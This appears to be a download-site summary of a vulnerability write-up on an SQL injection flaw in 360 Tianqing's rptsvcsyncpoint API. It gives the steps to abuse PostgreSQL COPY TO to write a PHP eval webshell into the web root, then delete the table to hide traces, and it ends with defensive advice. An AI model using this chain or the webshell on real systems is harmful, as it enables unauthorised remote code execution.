360天擎SQL注入漏洞分析:创建表与写shell
需积分: 0 24 浏览量
更新于2024-08-05
收藏 1.78MB PDF 举报
"360天擎前端SQL注入漏洞演示及利用步骤"
本文将详细讨论在360天擎安全管理系统中发现的一个SQL注入漏洞,该漏洞可能导致恶意攻击者通过创建表并写入恶意代码来执行任意命令。具体来说,这个漏洞出现在URL `https://192.168.24.196:8443/api/dp/rptsvcsyncpoint` 的API请求中,允许攻击者通过构造特定的参数值进行SQL注入攻击。
首先,我们来看一下利用此漏洞的过程:
1. **安装权限**:由于360天擎通常是通过安装包以管理员权限运行的,攻击者可以尝试利用此权限进行更危险的操作,如写入系统文件。
2. **创建表O**:利用SQL注入,攻击者在数据库中创建一个名为O的新表,这是执行恶意操作的基础。
3. **添加字段和写入shell**:向表O添加一个字段T,并写入PHP后门代码。例如:`<?php@eval($_POST[1]);?>` 这段代码会执行通过POST请求传递的任意PHP代码。
4. **使用COPY TO功能**:PostgreSQL数据库提供了一个COPY TO命令,可以将表O中的所有数据复制到文件系统中。在这种情况下,它将字段T的内容写入了`C:\ProgramFiles(x86)\360\skylar6\www\1.php`,创建了一个可执行的PHP后门。
5. **删除表O**:为了隐藏痕迹,攻击者在写入后门后删除了表O。
成功利用此漏洞后,恶意PHP文件`1.php`位于服务器的公共可访问目录下,可以通过访问`https://192.168.24.196:8443/1.php`来执行。例如,通过POST请求发送`1=phpinfo()`,可以查看服务器的PHP配置信息,证明了后门的有效性。
漏洞出现的原因在于360天擎的`api/dp/rptsvcsyncpoint`接口。在`DpController.php`中的`getSyncPoint()`方法中,没有对`ccid`参数进行充分的输入验证和转义,导致了SQL命令的直接拼接执行,从而允许了SQL注入。
为了防御此类攻击,开发者应遵循以下最佳实践:
1. **参数化查询**:使用预编译语句或参数化查询,确保用户输入不会影响SQL语句的结构。
2. **输入验证**:对所有输入数据进行严格的类型和格式验证,拒绝不符合预期的数据。
3. **权限限制**:为应用服务数据库账户分配最小权限,避免不必要的全局系统权限。
4. **日志监控**:定期审查系统日志,及时发现异常行为。
5. **代码审计**:定期进行代码安全审计,查找并修复可能的安全漏洞。
6. **安全更新**:及时应用软件更新和安全补丁,保持系统安全。
通过以上措施,可以显著提高系统的安全性,减少SQL注入等常见攻击的风险。
2022-07-25 上传
2021-03-17 上传
点击了解资源详情
2041 浏览量
1894 浏览量
点击了解资源详情
点击了解资源详情
点击了解资源详情
点击了解资源详情
好运爆棚
- 粉丝: 33
- 资源: 342
最新资源
- Raspberry Pi OpenCL驱动程序安装与QEMU仿真指南
- Apache RocketMQ Go客户端:全面支持与消息处理功能
- WStage平台:无线传感器网络阶段数据交互技术
- 基于Java SpringBoot和微信小程序的ssm智能仓储系统开发
- CorrectMe项目:自动更正与建议API的开发与应用
- IdeaBiz请求处理程序JAVA:自动化API调用与令牌管理
- 墨西哥面包店研讨会:介绍关键业绩指标(KPI)与评估标准
- 2014年Android音乐播放器源码学习分享
- CleverRecyclerView扩展库:滑动效果与特性增强
- 利用Python和SURF特征识别斑点猫图像
- Wurpr开源PHP MySQL包装器:安全易用且高效
- Scratch少儿编程:Kanon妹系闹钟音效素材包
- 食品分享社交应用的开发教程与功能介绍
- Cookies by lfj.io: 浏览数据智能管理与同步工具
- 掌握SSH框架与SpringMVC Hibernate集成教程
- C语言实现FFT算法及互相关性能优化指南